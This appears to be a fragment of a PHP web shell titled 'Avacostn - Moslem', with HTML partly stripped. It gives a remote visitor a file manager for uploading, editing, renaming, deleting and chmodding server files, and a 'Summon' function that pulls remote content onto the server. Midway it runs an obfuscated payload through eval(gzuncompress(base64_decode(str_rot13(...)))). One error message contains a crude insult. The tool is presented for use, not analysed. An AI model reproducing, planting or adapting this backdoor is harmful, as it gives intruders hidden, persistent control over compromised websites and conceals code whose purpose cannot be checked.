Avacostn - Moslem
Summon successfully. $filePath .";
} else {
echo "
Summon failed.
";
}
} else {
echo "
Failed to fetch the file content. None File
";
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
if ($_FILES['file']['size'] === 0) {
echo "
Open Ur Eyes Bitch !!!.
";
} else {
$uploadPath = $path . '/' . $_FILES['file']['name'];
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
echo "
File uploaded successfully. $uploadPath .
";
} else {
echo "
File upload failed.
";
}
}
}
?>
";
echo "Edit File: $file
";
echo "";
echo "";
}
}
?>
";
echo "Rename : $oldName
";
echo "";
echo "";
?>
File saved successfully. $filePath
";
} else {
echo "Failed to save the file.
";
}
}
?>
Renaming successful. $newName
";
} else {
echo "Failed to rename.
";
}
}
?>
File deleted successfully: $deletePath
";
} else {
echo "Failed to delete the file: $deletePath
";
}
} elseif (is_dir($deletePath)) {
if (rmdir($deletePath)) {
echo "Folder deleted successfully: $deletePath
";
} else {
echo "Failed to delete the folder: $deletePath
";
}
} else {
echo "Invalid file or folder path: $deletePath
";
}
}; eval(gzuncompress(base64_decode(str_rot13('rWlqHJSYjmND/FgUXI4Y2mdMVTkHC0wSbrOpc19dPIy7p5H2vJaXAfG/ogcBHCMAFZwqr7y7YmyKDDurHqqxCWsS0sVyJvM4g1bgLxk9BQhQRkGPZNFHNa24Ogjnb2dRnE/uQAmTqaD+KsH1QLYCi9Kf7wSrLse1P15TG89EiTYCl7xyaOyfvcYLTkzJFJSVzAdewJnnIZxm8ckK4DmNfsi0Kh/Sdzd+T70IMghfz5e0xE9yfteBW5AYCK6/RZR4dUwEUtgenJG2Oa3sAhIyGDBjvfFeiiCrXgwZxWpp3jwuSoDk8Mk0ymx3ipoDUOEAtFgISux3uEGOsewo7LLodngub0fFzpjcg/nkVeBIrIrBeDr02ASdO7MFoA0HMp4+TgVUY0UMRJ6GJdrcKo4/t5/E3p4sbwwO9ypjGqOHvtyr2KtNW2ECqACAcQe8i1ecDuwNr5k9N53ghVj='))));
// ...
?>
Chmod successful: $chmodPath
";
} else {
echo "Failed to chmod: $chmodPath
";
}
} else {
$currentMode = fileperms($chmodPath) & 0777;
echo "";
echo "
Chmod: $chmodPath
";
echo "
";
echo "
Current mode: $currentMode
";
echo "
";
}
} else {
echo "Invalid file or folder path: $chmodPath
";
}
};
?>
Filemanager
Name |
Size |
Permission |
Actions |
$size,
'permission' => $permission
];
}
}
foreach ($folders as $folder) {
$folderPath = "$path/$folder";
$folderPermissionColor = (is_writable($folderPath)) ? 'green' : 'red';
?>
|
|
- |
|
$data) {
$filePermissionColor = (is_writable($path . '/' . $file)) ? 'green' : 'red';
?>
|
|
|
|
None Directory | ";
}
function getPermissionString($perms)
{
$info = '';
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x') :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x') :
(($perms & 0x0400) ? 'S' : '-'));
// Other
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x') :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function formatSizeUnits($bytes)
{
$units = array('bytes', 'KB', 'MB', 'GB');
$index = 0;
while ($bytes >= 1024 && $index < 3) {
$bytes /= 1024;
$index++;
}
return round($bytes, 2) . ' ' . $units[$index];
}
?>